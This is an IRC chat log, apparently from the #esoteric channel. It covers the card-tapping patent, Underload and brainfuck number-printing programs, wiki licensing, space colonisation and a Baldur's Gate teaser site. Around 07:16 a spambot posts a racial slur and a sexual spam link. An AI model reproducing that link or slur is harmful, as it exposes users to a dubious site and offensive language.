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03:11:38 <pikhq> Huh. You could cite Magic against the patent on tapping that WotC has.
03:11:56 <pikhq> As Magic was released over 2 years prior to the patent's filing date.
03:13:37 <kmc> is that how prior art works
03:13:42 <ais523> I'm not convinced the patent on tapping is enforceable anyway
03:14:00 <ais523> but the fact that it exists is sufficient to let their lawyers scare people
03:14:25 <pikhq> kmc: In the US, yes, prior publication more than a year prior to filing suffices to estabilish that the patent is invalid.
03:15:02 <pikhq> However, because the patent office does not do due dilegence on the filing (they take years, and rubber-stamp), in practice you can patent anything.
03:15:13 <pikhq> And the US is in practice a money-wins jurisdiction.
03:20:05 <zzo38> The patent may expire in a few years.
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03:21:15 <pikhq> zzo38: Expires 2015.
03:21:29 <zzo38> I think the patent has Richard Garfield's name on it?
03:21:52 <pikhq> Inventor is Richard Garfield, assignee is WotC.
03:22:14 <NihilistDandy> I'm confused how a product that WotC owns could be used to undermine one of its own patents. Then again, I know shit all about patent law
03:22:45 <pikhq> NihilistDandy: If something is published before your patent is filed, it invalidates your patent. Even if you are the publisher.
03:22:54 <pikhq> That is a fundamental concept in US patent law.
03:23:36 <MDude> Actually, I tihnk if you publish it, you can still file within a year.
03:23:36 <lambdabot> MDude: You have 1 new message. '/msg lambdabot @messages' to read it.
03:24:41 * MDude slowly turns his head and just stares at lambadablot blankly for a few seconds.
03:25:24 <pikhq> MDude: Yeah, but this patent was filed *2* years late. :)
03:26:59 <MDude> pikhq: I see. That is late.
03:27:15 <MDude> What patent are you talkign about, anyway?
03:27:27 <pikhq> MDude: The tapping patent.
03:27:50 <MDude> I tohught they had a patent on collectable cards in general somehow.
03:28:01 <pikhq> No, it was a patent on tapping.
03:29:20 <MDude> What wonderous things await us once anyone can card tap.
03:31:22 <MDude> 'Lambdabot: check the messages
03:31:33 <MDude> Oh wait you told me how to check them.
03:38:39 <Sgeo> tswett, monqy has been UPDATEd.
03:42:20 <zzo38> TeXnicard is already 167 pages long and is still not complete. It is a very complicated program with many features, a terse syntax, and no GUI (one of its features is it is supposed to have no GUI).
03:45:52 <MDude> http://en.wikipedia.org/wiki/Matroid - I now want to find a way to use analogy as an excuse to call something "mathematical metroids".
03:51:08 <MDude> Yeah, matroids seem like some pretty weird things. I think I'll like them. :p
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06:29:04 <zzo38> quintopia: Did you have a question for (or about) me?
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07:16:13 <CEZW> Join #remy my nigga #remy
07:16:13 <CEZW> Im getting nude look at me here http://sexylili.hpage.com/
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07:18:26 <ais523> since when do we get spambots in /here/?
07:19:44 <quintopia> zzo38: my connection keeps dropping. yes i have a question for you.
07:20:38 <quintopia> zzo38: what is the easiest way to group things in TeX so they get laid out normally except that pages will only break between them and not in the middle of them?
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07:29:55 <zzo38> quintopia: Put them inside of a \vbox is one way.
07:30:51 <zzo38> However that won't make the glue inside of the box necessarily correspond to the glue outside of the box.
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07:34:07 <Sgeo> ais523, I've been here for a while. I'm basically a spambot for PSOX.
07:35:02 <ais523> I thought we mocked that out of you
07:35:46 <Sgeo> Among the bot's weaknesses are continuing a humorous line of conversation.
07:36:09 <Sgeo> If an unexpected reply occurs, the bot is unable to successfully respond.
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07:46:26 <zzo38> quintopia: Does it work for what you are doing?
07:53:36 <fizzie> @tell ais523 Maybe the spammers have been discouraged by problems with spamming the new wiki, and have decided to bring it here instead.
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09:28:48 <ais523> zzo38: what computational class is bLOOP? Do you know?
09:28:48 <lambdabot> ais523: You have 1 new message. '/msg lambdabot @messages' to read it.
09:28:53 <lambdabot> fizzie said 1h 35m 16s ago: Maybe the spammers have been discouraged by problems with spamming the new wiki, and have decided to bring it here instead.
09:30:23 <zzo38> ais523: If you mean BlooP, then yes I know, but I don't know what it is called.
09:30:44 <ais523> yes, that's what I meant
09:30:53 <ais523> I sort-of know what class it is too, but don't know the name either
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11:55:57 <oerjan> <ais523> zzo38: what computational class is bLOOP? Do you know?
11:56:15 <oerjan> primitive recursive functions is what i heard, and wikipedia agrees
11:56:46 <myname> never thought that the hardest part on implementing fibonacci would be output of numbers greater than 10
11:57:19 <oerjan> well the rest _is_ just addition and looping.
11:57:21 <fungot> 0.1.1.2.3.5.8.13.21.34.55.89.144.233.377.610.987.1597.2584.4181.6765.10946.17711.28657.46368.75025.121393.196418.317811.514229.832040.1346269.2178309.3524578.5702887.9227465.14930352.24157817.39088169.632459 ...
11:57:45 <fungot> >+10>+>+[[+5[>+8<-]>.<+6[>-8<-]+<3]>.>>[[-]<[>+<-]>>[<2+>+>-]<[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>[-]>+>+<3-[>+<-]]]]]]]]]]]+>>>]<3][]
11:57:46 <myname> maybe i should at "output as integer"
11:57:55 <fizzie> Probably the +10 at start.
12:03:29 <oerjan> myname: otoh Underload's fibonacci just outputs in unary as *'s. although there _is_ a decimal printing method in the other examples.
12:03:40 <oerjan> ^ul (()(*))(~:^:S*a~^a~!~*~:(/)S^):^
12:03:41 <fungot> */*/**/***/*****/********/*************/*********************/**********************************/*******************************************************/*****************************************************************************************/********************************************************************************* ...too much output!
12:04:01 <myname> unary output is a nice idea
12:04:08 <ais523> unary output is easy :)
12:05:53 <myname> i don't want to output something like 10! unary, though
12:13:24 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(:*)::::****:*^^!S!!!
12:15:24 <ais523> oerjan: hmm, that decimal conversion code looks neater than mine
12:15:37 <fizzie> ^bf +++++[->++++++>++<<]>++>>>+[[-<+<.>>>>+<<]<[->+<]>>[-<+>]>[-<+>]<<<<<.>>>]
12:15:37 <fungot> . . .. ... ..... ........ ............. ..................... .................................. ....................................................... ...................................................... ...
12:15:55 <ais523> where's the division by 10 done? I can't even see a constant 10 in there anywhere
12:16:01 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^~:S~)(~!^)(:*)::::****:*^
12:17:45 <oerjan> ais523: the deepest (!~:^) for the digit list applies an increment to the higher level digits
12:17:53 <oerjan> or something like that
12:18:31 <oerjan> note that as mentioned on the underload page, this works by generating _all_ numerals in sequence, and printing the one you end up with
12:20:44 <oerjan> it's like a generator that you can run as many times as you want
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12:23:52 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^~:(,)*S~)(:*)::::****:*^^
12:23:52 <fungot> 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108, ...too much output!
12:24:26 <oerjan> there you go, printing each string after generating.
12:25:50 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)(:(,)*S!^~)(:*)::::****:*^^
12:25:50 <fungot> 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,10 ...too much output!
12:29:45 <myname> that "just generate everything and pick what you need" could work for me :o
12:30:53 <oerjan> hm would it? it depends on having something to make lists and strings with.
12:31:58 <myname> well, lists would be a lot easier
12:32:21 <myname> okay, it should work for a maximum number of decimals
12:33:08 <myname> maybe i'll think of a more generic version later
12:33:42 <oerjan> as ais523 alluded to, you usually want to do division by 10.
12:34:27 <myname> should even be possible
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12:49:18 <ais523> ah, right, it's a decimal increment
12:51:10 <ais523> 10 is ::*:*:**, right?
12:51:34 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)(()(!^~))((:(^!^:(,)*S)~a*^:^~!a~^*a*)~a*^:^):^
12:51:36 <fungot> 0,1,2,4,7,12,20,33,54,88,143,232,376,609,986,1596, ...out of time!
12:52:32 <oerjan> :::**::*** would be 10
12:52:51 <ais523> or alternatively :*::*:**
12:53:05 <ais523> actually, no, I think your 10 is also a 9
12:53:28 <ais523> ^ul (a)::*:*:**S(b):::**::***S(c):*::*:**S
12:53:28 <fungot> aaaaaaaaabbbbbbbbbbcccccccccc
12:53:48 <ais523> OK, both our 10s are correct
12:54:28 <ais523> at least mine's shorter :)
12:54:48 <oerjan> @oeis 0,1,2,4,7,12,20,33,54
12:54:54 <lambdabot> [0,0,1,2,4,7,12,20,33,54,88,143,232,376,609,986,1596,2583,4180,6764,10945,17...
13:00:12 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)((!^~)())((:(~:(,)*S~^!^)~a*^:^~!a~^*a*)~a*^:^):^
13:00:13 <fungot> 0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597, ...out of time!
13:01:34 <ion> What’s ul?
13:02:56 <ais523> http://esolangs.org/wiki/Underload
13:04:13 <oerjan> i just added that program
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15:32:44 <elliott> "Announcing the Yesod Platform"
15:32:55 <elliott> I think Yesod are suffering from the delusion that they own Haskell.
15:33:16 <elliott> Oh, it's just a Cabal package.
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17:05:22 <elliott> calamari: can I convince you to release EsoAPI 1.0 Specification under CC0? it was on [[EsoAPI]] for four years before Graue removed it as a copyvio (and updated the link), and I don't want to have to remove six revisions from the history :(
17:06:10 <calamari> so I exported a doc from libeoffice and printed the pdf and the letters look like the latex logo.. what am I doing wrong
17:06:27 <elliott> wrong? sounds like it automatically made your document better
17:06:40 <calamari> what do you mean? that looks like crap
17:06:49 <calamari> the letters are different sizes and offsets
17:06:53 <elliott> you dissin' the latex logo?!?!?!
17:10:28 <RocketJSquirrel> Public domain where possible, and as near to public domain as you can get where impossible.
17:12:04 <elliott> calamari: http://creativecommons.org/publicdomain/zero/1.0/, what the wiki is released under
17:12:31 <calamari> I'm not sure what license I released it under, but my intent would be something like gpl
17:12:57 <elliott> yeah, the problem is that anything other than CC0 means I have to purge a few years of history from that page :(
17:14:44 <elliott> calamari: well, no, it's not up to me - if it's under the GPL, then I'm breaking the law by knowingly leaving those revisions up
17:14:46 <calamari> can't it be in there as long as they link to it?
17:15:06 <elliott> no, the wiki can only contain public domain content
17:15:17 <calamari> that's your restriction, not mine
17:15:33 <elliott> err, are you telling me to relicense the wiki as GPL?
17:15:40 <calamari> so it doesn't create a legal problem coming from me
17:15:52 <elliott> that would be possible, but (a) the GPL is for software, not documents, and (b) I pledged to keep it public domain as it has been for 7 years
17:16:53 <calamari> okay well I'm not a lawyer so I won't pretend to understand it
17:17:27 <calamari> anyhow, hope that answers your question?
17:17:46 <elliott> yes, i'll delete the revisions...
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17:18:15 <elliott> fwiw since it was up there without any license notice for a few years, whatever damage might be done has already been done i.e. people using it against the terms of the gpl
17:18:39 <calamari> I guess if there was no license, then technically it's not even gpl
17:19:07 <calamari> guess that means my spec was not free :( oops
17:19:43 <elliott> well i took your statement above as licensing it under GPL
17:19:56 <elliott> since as the copyright holder you obviously can license it under anything at any time
17:20:01 <Taneb> The logs one or the birds one?
17:20:14 <pikhq> You can, in fact, license it CC0 at free will.
17:20:30 <RocketJSquirrel> Taneb: Although you ought to take the time to read the entire logged history of this channel at some point, I was referring to the championofbirds one.
17:20:34 <elliott> CC0 isn't technically a license
17:22:16 <pikhq> I think in some jurisdictions it acts as one.
17:22:35 <RocketJSquirrel> More accurately, it /includes/ one for those jurisdiction, but the document itself is not a license.
17:22:59 <elliott> Right, it's a statement of release into the public domain, plus a license for when the former doesn't work.
17:23:02 <pikhq> The document itself is a pointer to licenses and disclaimers of copyright interest.
17:23:27 <calamari> it looks like there is the "GNU Free Documentation License".. I'm guessing that's not compatible with cc0 tho
17:23:53 <pikhq> It's not even GPL compatible.
17:24:08 <elliott> calamari: The GFDL is what Wikipedia used to be under (they switched to another Creative Commons license in 2009).
17:24:11 <pikhq> I strongly recommend against GFDL use.
17:24:27 <elliott> But no license that has any requirements is compatible with the wiki.
17:25:18 <itidus21> maybe the logged history can be distributed as an audiobook, read by various guest speakers including quentin tarantino
17:25:24 <elliott> RocketJSquirrel: Mmm, wouldn't a document under e.g. the text of CC0 sans the disclaimer of copyright interest be permissible?
17:25:37 <pikhq> calamari: It's got a large quantity of pretty weird requirements, such as invariant sections.
17:25:37 <elliott> Not that anyone would use such a license.
17:25:50 <elliott> (GFDL is actually non-free per the DFSG.)
17:25:50 <pikhq> And a list of previous titles must be retained.
17:25:52 <Taneb> RocketJSquirrel, yay!
17:25:54 <RocketJSquirrel> elliott: I don't believe so, because the person who put it on the wiki would be putting it under the whole CC0, and hence including an invalid disclaimer of copyright.
17:25:56 <elliott> (Thanks to invariant sections.)
17:26:13 <Phantom_Hoover> Can't you have a licence that permits public-domain derivatives?
17:26:18 <elliott> RocketJSquirrel: True enough.
17:26:26 <Phantom_Hoover> Admittedly that's isomorphic to just putting it under CC0.
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17:26:44 <elliott> Phantom_Hoover: Anyone can release all their changes into the public domain (assuming it applies in their jurisdiction).
17:26:57 <elliott> Even if it's modifications to GPL software or whatever.
17:27:02 <elliott> You just can't distribute the modified version itself as PD.
17:27:22 <Phantom_Hoover> Yeah, but it doesn't make sense to allow the modified version to be PD apparently?
17:27:50 <elliott> Phantom_Hoover: You can't tell other people what they can do with their modifications.
17:27:57 <elliott> So "You can release modifications as PD" is a nop.
17:28:02 <elliott> "You can release a modified version as PD" is... weird.
17:28:09 <RocketJSquirrel> Phantom_Hoover: Public domain isn't a license, it means that noöne owns the copyrights to the work. It either is or is not PD, it can't change due to modifications. Added modifications could be PD, but the original part can't be in some quantum superposition of PD and not PD.
17:28:12 <calamari> well the part I like about the GPL (for code anyways) is if you make changes you have to give credit to the original, and it has to stay under the same license
17:28:15 <elliott> It's either completely ineffective due to being nonsense, or releases the original work into PD.
17:28:59 <itidus21> RocketJSquirrel: i think if you map brainfuck chars to alphabet chars you could come up with something which could be pronounced word by word instead of char by char
17:28:59 <calamari> so is there a more sensible documentation license that does those things?
17:29:41 <elliott> calamari: Creative Commons Attribution-Share Alike, but that does not mean it can be included on the wiki and I will still be legally required to take down the revisions.
17:29:47 <RocketJSquirrel> Phantom_Hoover: I think the fact that it ain't goin' wiki is being begrudgingly accepted here X-D
17:30:09 <elliott> RocketJSquirrel: The current text isn't even on the wiki, this is about having to expunge previous revisions.
17:30:33 <elliott> It was put up by an anonymous user because the original link was broken.
17:31:07 <calamari> btw is there a way to search the wiki for "kidsquid.99k.org" in links and change them to "kidsquid.com"?
17:31:38 <calamari> I guess I could just search for my stuff and look at the links
17:31:42 <elliott> calamari: Yes, see Special:LinkSearch.
17:32:23 <Phantom_Hoover> "A floating point number, which changes slightly every time it's read from. There is no way to compare whether two values are equal, since the values are so unstable -- only the greater than and less than comparisons are available." [[entropy]]
17:32:29 <elliott> calamari: OK, so I've lost track of the resolution to this; you're not releasing it as CC0, right?
17:32:40 <Phantom_Hoover> I note that it doesn't actually state how the variation it's made.
17:32:49 <itidus21> applied to assembly language.. operators could be consonants, first operand could be vowel, second operand could be another consonant .. add ax bx = bab
17:32:56 <RocketJSquirrel> Phantom_Hoover: So, floats that encourage people to use floats as you ought to be using them in the first place?
17:33:27 <calamari> elliott: thanks (and thanks for the CC-A-S note
17:33:59 <nortti> calamari: it is CC-BY-SA
17:34:21 <calamari> Attribution + ShareAlike (by-sa)
17:34:23 <RocketJSquirrel> Also, I cannot emphasize enough how important it is that everyone read the link in the topic.
17:35:23 <elliott> calamari: OK, I'll take that as a yes, then
17:35:33 <itidus21> RocketJSquirrel: http://www.cnoteevil.com/
17:36:16 <RocketJSquirrel> itidus21: And the link doesn't go directly to the blog post, so hyuk on that.
17:36:23 <Phantom_Hoover> RocketJSquirrel, are you actually a musicion in the neoromantic style?
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17:37:22 <Phantom_Hoover> RocketJSquirrel, your space travel answer is BULLSHIT, and I am going to tell you WHY
17:37:24 <elliott> <elliott> calamari: OK, so I've lost track of the resolution to this; you're not releasing it as CC0, right?
17:38:04 <Phantom_Hoover> You fail to take into account the expansion of the universe; there's a finite horizon beyond which nothing can actually pass.
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17:38:17 <elliott> calamari: That is unfortunate. I'll delete the revisions.
17:38:20 <calamari> IMO they shouldn't have copied the spec into the wiki in the first place
17:38:55 <elliott> it was only copied because the link was dead
17:38:57 <calamari> RocketJSquirrel: there I spammed rainbow dash for you
17:39:04 <RocketJSquirrel> Phantom_Hoover: OK, fair enough, I slightly oversimplified the original statement.
17:39:27 <pikhq> And by someone who doesn't really understand copyright.
17:39:55 <Phantom_Hoover> And anyway, there are plenty of places worth going to within civilisational timescales, not to mention the prospect of colony ships.
17:41:34 <pikhq> And generation ships. Feasible with current technology, except where the hell would we want to *send* one?
17:41:43 <Phantom_Hoover> The Orion Nebula is only 1300ly away, for instance, and, well, http://upload.wikimedia.org/wikipedia/commons/f/f3/Orion_Nebula_-_Hubble_2006_mosaic_18000.jpg
17:42:04 <RocketJSquirrel> pikhq: Are you saying you don't want to go visit some lifeless rocks in a distant star system?
17:42:19 <itidus21> the nice thing about championofbirds i can see is they focus on the content, stripping back the web design to the bare minimum
17:42:33 <elliott> Phantom_Hoover: Link to the fucking file page when the image is gigantic by gigantic.
17:42:46 <RocketJSquirrel> itidus21: The bad thing is that the content is entirely uninteresting nonsense.
17:42:49 <pikhq> RocketJSquirrel: I'd be perfectly fine with it if it were a trip that individuals could make and come back to tell the tale.
17:42:52 <elliott> My internet connection is crying :P
17:43:04 <pikhq> RocketJSquirrel: As-is, the only real reason to go to other star systems would be to set up shop.
17:43:12 <itidus21> they even go so far as to conceal the names of the webpages
17:43:17 <Phantom_Hoover> pikhq, I'm going to scream "BUSSARD RAMJET" until reality goes away and stops mocking m.
17:43:19 <pikhq> And... We don't really know of somewhere good to go colonize.
17:43:30 <RocketJSquirrel> pikhq: Even if it was, but relativistically, so they came back to tell the tale to their great great great great great great great great great great great great great great great great great great great great great great great great great great grandchildren?
17:43:54 <pikhq> RocketJSquirrel: You could quite reasonably find volunteers for that.
17:44:04 <elliott> RocketJSquirrel: http://championofbirds.com/?p=4991#comment-748
17:44:13 <pikhq> There just doesn't seem a point in making a generation ship to look at space rocks.
17:44:52 <Phantom_Hoover> I love the way that the two of you have reduced the entire field of astrophysics to "space rocks".
17:44:58 <elliott> RocketJSquirrel: I have no idea :P
17:45:02 <pikhq> Phantom_Hoover: ;)
17:45:11 <elliott> Phantom_Hoover: Sometimes the rocks are on fire! Those are called stars.
17:45:13 <pikhq> Phantom_Hoover: Oversimplification is one of my many strengths.
17:45:26 <elliott> Phantom_Hoover: Sometimes they're really thin rocks, so you can go through them.
17:45:39 <RocketJSquirrel> My point is just that we'd have to have a very compelling reason to go to anywhere in particular, and we've found nothing compelling yet.
17:46:25 <Phantom_Hoover> You guys just don't have the vision to see that gas giant colonisation is obviously the answer.
17:46:57 <pikhq> Phantom_Hoover: I'm actually advocating colonies if we find a place to colonise.
17:47:01 <elliott> Phantom_Hoover: OMG what if we all lived in tiny spaceships inside gas giants.
17:47:14 <pikhq> As-is, the only way we're colonising *anything* is with a freaking space station.
17:47:27 <elliott> Phantom_Hoover: Wait what about the gravity.
17:47:35 <elliott> How big do you need for rotating to work decently.
17:47:58 <pikhq> elliott: If it's deep enough the local acceleration due to gravity should be 9.8 m/s.
17:48:17 <elliott> Oh yeah, planets have gravity now...
17:48:29 <pikhq> However, your ships might need to be made of exotic materials. ;)
17:48:42 <elliott> Phantom_Hoover: OK so we need anti-gravity instead.
17:48:44 <pikhq> Phantom_Hoover: And the surface pressure? :D
17:49:28 <calamari> did you guys see the recent article that being in space too long deforms your eyeballs? they want to research it more to see if it continues to get worse or stops at a certain point
17:51:00 <Phantom_Hoover> pikhq, given that 'surface' here means 'boundary with space'.... 0.
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17:51:37 <pikhq> Phantom_Hoover: Lame!
17:51:54 <pikhq> Phantom_Hoover: Not the hypothesized solid center's surface.
17:52:04 <Phantom_Hoover> Also, the point at which gravity is around g is 3/5ths of the way into the planet.
17:52:19 <elliott> EXCELLENT let us go there.
17:52:37 <pikhq> elliott: The pressure will probably crush your ship like a tin can.
17:52:56 <Phantom_Hoover> (I was going to work it out but using WA would be awful, but then I realised that the formula is literally just radius * surface gravity/surface radius.)
17:54:12 <elliott> pikhq: OK so don't make it out of tin.
17:57:03 <elliott> Phantom_Hoover: What if we make it... out of LEAD
18:01:12 <itidus21> calamari: its probably the tip of the iceburg of a greater set of problems of being in space too long
18:02:37 <calamari> itidus21: yeah it would only be sheer luck if that weren't the case
18:04:01 <Phantom_Hoover> So not only would you get gravity, you'd get bitchin' rings as well.
18:04:13 <itidus21> calamari: but rather than do the obvious thing like spend less time in space..we must push on
18:04:30 <itidus21> and start calling for funding to fix the eye problem
18:05:24 <elliott> Phantom_Hoover: Except, can you even see the rings.
18:05:45 <Phantom_Hoover> I'm not sure; it depends how deep in the atmosphere you are.
18:06:01 <calamari> Phantom_Hoover: how's the radiation level at Saturn?
18:06:35 <calamari> hmm for some reason I seem to remember hearing there was a lot of radation near Jupiter
18:06:51 <Phantom_Hoover> Saturn has a magnetic field comparable to Earth's and is further from the sun, but I'm not sure about other sources.
18:07:44 <calamari> also, how would you prevent your "orbit" from decaying and being crushed
18:07:50 <Phantom_Hoover> O.o Jupiter produces its own heat by gravitational contraction.
18:08:21 <calamari> http://www.astrobio.net/exclusive/3010/hiding-from-jupiters-radiation
18:08:21 <Phantom_Hoover> You should be able to use buoyancy, although there might be practical problems.
18:09:17 <Phantom_Hoover> Those're due to the magnetic field, and Saturn's is a twentieth of Jupiter's.
18:11:32 <Phantom_Hoover> (Incidentally, being deep enough into Jupiter to get 1g of gravity would also mean being well within the metallic hydrogen layer, so you couldn't do that under any circumstances.)
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18:17:07 <elliott> <Phantom_Hoover> (Incidentally, being deep enough into Jupiter to get 1g of gravity would also mean being well within the metallic hydrogen layer, so you couldn't do that under any circumstances.)
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18:22:58 <quintopia> is there a way to map a folder in my local filesystem to a folder on my vps so that files copied to that folder get auto-uploaded and stuff?
18:23:35 <elliott> (don't write a fuse filesystem, i forgot sshfs existed)
18:24:44 <fizzie> I think there all kinds of dropbox clones too, if you want a more "no delay when accessing the files, will be uploaded lazily" semantics.
18:24:48 <fizzie> sshfs to a slow place is... slow.
18:25:13 <elliott> People here might be interested in reading http://www.slate.com/articles/technology/technology/2012/03/ruby_ruby_on_rails_and__why_the_disappearance_of_one_of_the_world_s_most_beloved_computer_programmers_.html, by the way.
18:25:33 <elliott> Not all that much interesting, but at least contains some confirmation about _why.
18:28:56 <Phantom_Hoover> Also demonstration that _why is actually the protagonist of a Rand book.
18:33:25 <elliott> I like how the article links to a Wikipedia article that was deleted in October.
18:42:40 <itidus21> i wish that beneath my scruffy exterior i too was a programmer of awe inspiring signifigance
18:46:34 <fizzie> What's this http://www.baldursgate.com/ counter all about? The source comments say "March 14, 2012. Shadowy Figure- Raise Dead : Infinity Engine. It is coming." (The middle part is written in the same way as old BG spell effects ended up in the log.)
18:46:54 <fizzie> (#esoteric is my go-to place for all questions on life, the universe and everything.)
18:47:33 <itidus21> i have yet to find a community of people exactly like me
18:47:56 <fizzie> A cloning vat is a good place to start with.
18:49:14 <itidus21> this place is too advanced for me to truely be immersed in esolang
18:50:03 <elliott> fizzie: "Latest releaseBaldur's Gate: Dark Alliance II
18:50:09 <elliott> I would wager there's a new game coming out, or something.
18:50:20 <elliott> "Raising the dead" and so on?
18:51:07 <elliott> [[In the January 2008 issue of PC Gamer UK, the editor claims that he knows that Baldur's Gate III is indeed being worked on - this has further been reiterated in the January 2009 edition.[citation needed]
18:51:07 <elliott> On December 2, 2008, Atari stated in a press conference that the Baldur's Gate series (among others) would be revisited after 2009.[6]
18:51:07 <elliott> On February 7, 2010, in an interview about Mass Effect 2, IGN asked Ray Muzyka of BioWare about the future of Baldur's Gate, noting the sighting of Boo in the Citadel souvenir shop. He replied, 'Hey, that's just a space hamster. Boo's brother. And again, you'll have to talk to Atari about that, they've got the license.'[7]]]
18:51:14 <itidus21> alright! time to put on my ritual necromancy cloak
18:51:38 <elliott> src: url('http://www.baldursgate.com/sherwood.ttf');
18:51:51 <elliott> yet the page has no text, suggesting more design work has been done than is seen on that page.
18:53:36 <itidus21> i mean.. cp to /dir/fonts/ or something
18:54:46 <elliott> https://www.google.co.uk/search?ix=aca&sourceid=chrome&ie=UTF-8&q=Shadowy+Figure-+Raise+Dead+%3A+Infinity+Engine
18:54:56 <elliott> There's past entries on, e.g. http://www.elvenrunes.de/cgi-bin/logs/show.m?log=b62517,76811&disc=1&sort=1&snew=1&omode=&all=0&typ=.
18:55:09 <Phantom_Hoover> Oh, also, elliott and monqy are mining friends in new DF fort.#
18:55:18 <elliott> <!— oh dear it's coming soon —>
18:55:51 <elliott> "edit: Checking the site a bit more and looking at the background etc, it rather seems they were porting the infinity-engine. This probably means tablets etc."
18:55:51 <Phantom_Hoover> (Mining friends are best friends because they do all the initial work and so have completely different sleep and eating cycles.
18:56:06 <elliott> Phantom_Hoover: I've got the sleep cycle bit down.
18:56:14 <elliott> monqy will have to try harder.
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18:56:42 <itidus21> I can almost imagine a smarmy british robin hood voice speaking it. Not russell crowe.
18:57:33 <fizzie> sherwood.ttf is the font in which the downwards-counting counter (that's now at about two hours) that I see is.
18:57:42 <fizzie> But I've heard the counter isn't visible to everyone.
18:57:51 <Phantom_Hoover> I can just imagine Bioware bringing out a new Baldur's gate, mainly because it seems almost inevitable that they'll pull some supremely dickish stunt that'll make everyone declare it ruined forever.
18:58:19 <elliott> I was about to say that Google has indexed it being talked about on /v/ and that the likelihood of that thread still existing is very low, but then I clicked and it's at the top so I suppose it's fairly likely that's where you saw it.
18:58:23 <fizzie> I was just wondering if it was coincidental that today (I think) is Diablo 3 release day, too.
18:58:29 <elliott> Phantom_Hoover: My link sez it woulnd't be Bioware.
18:59:00 <elliott> fizzie: Yes, I'm not seeing no counter.
18:59:14 <elliott> Phantom_Hoover: You don't have to exist functionally to sit on rhytes.
18:59:24 <elliott> http://include.reinvigorate.net/re_.jsFailed to load resource
18:59:25 <elliott> http://baldursgate.com/js/jquery.countdown.min.jsFailed to load resource: the server responded with a status of 500 (Internal Server Error)
18:59:25 <elliott> http://baldursgate.com/:113Uncaught TypeError: Object [object Object] has no method 'countdown'
18:59:33 <elliott> fizzie: It'd work if their server wasn't crappy. :p
19:00:05 <elliott> (http://boards.4chan.org/v/res/132719001 is the thread in question, if anyone feels particularly masochistic.)
19:00:41 <elliott> Oh, apparently ``the eruddites'' have found it.
19:00:43 <fizzie> Come to think of it, I wonder if the "droplets" in the skull logo are actually sperm? I mean, the protagonist is the spawn of Bhaal, and so on.
19:01:30 <elliott> Now I'm going to have to keep checking it.
19:02:40 <elliott> I mean, I watched eon8 intently, and that wasn't even *for* anything.
19:03:39 <Phantom_Hoover> ALSO: I had a friend today say that all the methods employed by game publishers to prevent resales (DRM, DLC on release, etc.) were OK because resales "hurt small developers more".
19:03:50 <elliott> fizzie: Hey, what was that other site starting with "eon" that just had that photograph in some narrow corridor or something that everyone freaked out about at the time?
19:04:00 <elliott> (fizzie is my go-to place for allq uestions on life, the universe and everything.)
19:04:13 <Phantom_Hoover> I tried pointing out that small developers don't really do that sort of thing, but he didn't listen.
19:05:25 <fizzie> Sorry, the E.ON energy company is my only mental association with 'eon'.
19:06:36 <elliott> Thiss-uh thing: http://en.wikinews.org/wiki/Purpose_of_mysterious_website_Eon8_revealed
19:06:54 <elliott> Except people tried to load eon*.tld in the mad dash to attribute some nonsense meaning to it.
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19:10:27 <fizzie> elliott: Apparently eon5.com. "It appears to be nothing more than a strange picture of what looks like a corridor."
19:10:31 <fizzie> (Currently it's something else.)
19:10:42 <boily> hi (says I in embarassement caused by a glitchy '/' key)
19:11:08 <elliott> are you embarrassed because your keyboard sucks, or because crawl sucks? :)
19:12:44 <boily> if it's about suckiness, my win ratio at crawl is far from good. otherwise, I should vacuum my keyboard more often...
19:13:37 <monqy> not everyone in ##crawl likes/plays crawl but I guess that means you do
19:15:39 <boily> yeah, I had a relapse last week.
19:16:16 <elliott> monqy is looking down on boily now
19:16:23 <elliott> "he's one of the ones that actually play" he says (to himself)
19:18:20 <boily> I see crawl more and more as a drug. I have seen graduate students having their life destroyed by it!
19:18:48 <boily> (or was it the influence of their advisors? it's difficult to know.)
19:21:42 <elliott> It's a gateway drug to NetHack.
19:23:33 <fizzie> And HACKING will get you EXPELLED.
19:24:08 <elliott> Cue "Is Your Son a Computer Hacker?".
